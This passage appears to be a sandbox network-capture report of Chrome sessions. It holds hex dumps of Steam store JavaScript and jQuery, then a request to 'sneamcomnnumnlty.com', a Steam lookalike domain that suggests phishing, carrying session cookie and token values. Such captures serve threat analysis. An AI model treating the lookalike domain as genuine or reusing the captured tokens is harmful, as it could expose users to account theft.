$Scro
2024-10-06 12:08:22 UTC	12148	IN	Data Raw: 30 30 30 30 32 46 36 38 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 6d 61 79 20 62 65 20 28 74 6f 74 61 6c 6c 79 20 69 73 29 20 64 69 66 66 65 72 65 6e 74 20 69 6e 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 6f 64 65 0d 0a 43 47 65 6e 65 72 69 63 43 61 72 6f 75 73 65 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 70 6f 6e 73 69 76 65 41 64 76 61 6e 63 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6e 4e 65 77 49 6e 64 65 78 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 65 6c 54 61 72 67 65 74 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 70 61 72 65 6e 74 28 29 3b 0d 0a 09 76 61 72 20 6e 4d 61 78 53 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 2a 20 74 68 69 73 2e 6e 49 74 65 6d 73 20 2d 20 24 65 6c Data Ascii: 00002F68 function may be (totally is) different in responsive modeCGenericCarousel.prototype.ResponsiveAdvance = function( nNewIndex ){var $elTarget = this.$elItems.parent();var nMaxScroll = this.$elItems.outerWidth( true ) * this.nItems - $el
2024-10-06 12:08:22 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49737	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	550	OUT	GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	399	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "fz6Sv1tbS3ZE" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 12:08:22 GMT Date: Sun, 06 Oct 2024 12:08:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:22 UTC	15985	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 74 45 6c 65 6d 53 4e 52 28 20 24 45 6c 65 6d 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 73 6e 72 20 3d 20 24 45 6c 65 6d 2e 64 61 74 61 28 20 27 73 6e 72 27 20 29 3b 0d 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 73 6e 72 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 73 6e 72 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6c 6f 6f 6b 20 66 6f 72 20 6c 69 6e 6b 73 20 77 69 74 68 20 73 6e 72 20 70 61 72 61 6d 65 74 65 72 0d 0a 09 76 61 72 20 6c 69 6e 6b 73 20 3d 20 24 45 6c 65 6d 2e 69 73 28 20 27 61 27 20 29 20 3f 20 24 45 6c 65 6d 20 3a 20 24 45 6c 65 6d 2e 66 69 6e 64 28 20 27 61 27 20 29 3b 0d 0a 09 73 6e 72 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 66 6f 72 20 Data Ascii: 0000C000function GetElemSNR( $Elem ){var snr = $Elem.data( 'snr' );if ( typeof snr != 'undefined' ){return snr;}// look for links with snr parametervar links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );snr = null;for
2024-10-06 12:08:23 UTC	15839	IN	Data Raw: 6c 75 73 74 65 72 2e 65 6c 53 63 72 6f 6c 6c 41 72 65 61 20 29 3b 0d 0a 09 09 76 61 72 20 63 61 70 73 75 6c 65 73 20 3d 20 24 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 61 69 6e 65 72 2e 66 69 6e 64 28 20 27 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 27 20 29 3b 0d 0a 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 49 6d 70 72 65 73 73 69 6f 6e 54 72 61 63 6b 65 72 2e 54 72 61 63 6b 41 70 70 65 61 72 61 6e 63 65 49 66 56 69 73 69 62 6c 65 28 20 63 61 70 73 75 6c 65 73 5b 63 6c 75 73 74 65 72 2e 6e 43 75 72 43 61 70 5d 20 29 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 48 61 6e 64 6c 65 43 61 72 6f 75 73 65 6c 43 68 61 6e 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 74 61 72 67 65 74 69 64 2c 20 63 75 72 50 6f 73 2c 20 70 61 67 65 53 69 7a 65 20 29 20 7b 0d 0a 09 Data Ascii: luster.elScrollArea );var capsules = $ScrollingContainer.find( '.cluster_capsule' );GDynamicStore.s_ImpressionTracker.TrackAppearanceIfVisible( capsules[cluster.nCurCap] );},HandleCarouselChange: function( targetid, curPos, pageSize ) {
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 62 50 61 63 6b 61 67 65 44 69 73 63 6f 75 6e 74 65 64 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 63 55 73 65 72 49 74 65 6d 73 49 6e 42 75 6e 64 6c 65 2b 2b 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 50 61 63 6b 61 67 65 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e Data Ascii: BundleItem.m_bPackageDiscounted;BundleForUser.m_cUserItemsInBundle++;BundleForUser.m_nPackageBasePriceInCents += BundleItem.m_nBasePriceInCents;BundleForUser.m_nFinalPriceInCents += BundleItem.m_nFinalPriceInCents;BundleForUser.m_n
2024-10-06 12:08:23 UTC	956	IN	Data Raw: 74 6f 72 65 49 74 65 6d 44 61 74 61 28 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 41 70 70 44 61 74 61 5b 61 70 70 69 64 5d 2c 20 72 67 41 70 70 73 5b 61 70 70 69 64 5d 20 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 69 66 20 28 20 72 67 50 61 63 6b 61 67 65 73 20 26 26 20 74 79 70 65 6f 66 20 72 67 50 61 63 6b 61 67 65 73 2e 6c 65 6e 67 74 68 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 66 6f 72 28 20 76 61 72 20 70 61 63 6b 61 67 65 69 64 20 69 6e 20 72 67 50 61 63 6b 61 67 65 73 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 50 61 63 6b 61 67 65 44 61 74 61 5b 70 61 63 6b 61 67 65 69 64 5d 20 29 0d 0a 09 09 09 09 09 47 53 74 6f 72 Data Ascii: toreItemData( GStoreItemData.rgAppData[appid], rgApps[appid] );}}if ( rgPackages && typeof rgPackages.length == 'undefined' ){for( var packageid in rgPackages ){if ( !GStoreItemData.rgPackageData[packageid] )GStor
2024-10-06 12:08:23 UTC	12189	IN	Data Raw: 30 30 30 30 32 46 39 31 0d 0a 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 62 75 6e 64 6c 65 69 64 27 20 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 75 6e 42 75 6e 64 6c 65 49 44 20 26 26 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 62 75 6e 64 6c 65 69 64 3a 20 75 6e 42 75 6e 64 6c 65 49 44 2c 20 69 74 65 6d 3a 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 7d 3b 0d 0a 0d 0a 09 09 69 66 28 20 75 6e 50 61 63 6b 61 67 65 49 44 20 26 26 20 75 6e 50 61 63 6b 61 67 65 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 2c 27 29 20 21 3d 3d Data Ascii: 00002F91eID = $el.data('ds-bundleid' );if ( unBundleID && GStoreItemData.rgBundleData[unBundleID] )return { bundleid: unBundleID, item: GStoreItemData.rgBundleData[unBundleID] };if( unPackageID && unPackageID.toString().indexOf(',') !==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	104.17.24.14	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	380	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	933	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 253685 Expires: Fri, 26 Sep 2025 12:08:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=36ltTnp0K7bZu8a9vN9Sd6nL6jQBJQarsK8PhqykRPmqeVudjyTARroe0N0B1ZK%2FZLoBBLKf2ebcM%2BuyOnJmed6rVGQD8qvnrl1PZJtQweNb2sn%2Bcp%2BFqPhoYTqC3H7biQILb%2B44"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ce58953fcb732c7-EWR
2024-10-06 12:08:22 UTC	436	IN	Data Raw: 37 62 66 39 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bf9/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 65 2c 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c Data Ascii: e,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModul
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c Data Ascii: is.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 Data Ascii: (t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a Data Ascii: egExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d Data Ascii: {H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 Data Ascii: Child(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 Data Ascii: =ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 Data Ascii: =typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></se
2024-10-06 12:08:22 UTC	1369	IN	Data Raw: 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e Data Ascii: h&&new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49738	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	1303	OUT	GET /20412b512e0800535346655a1253775a57030805 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; 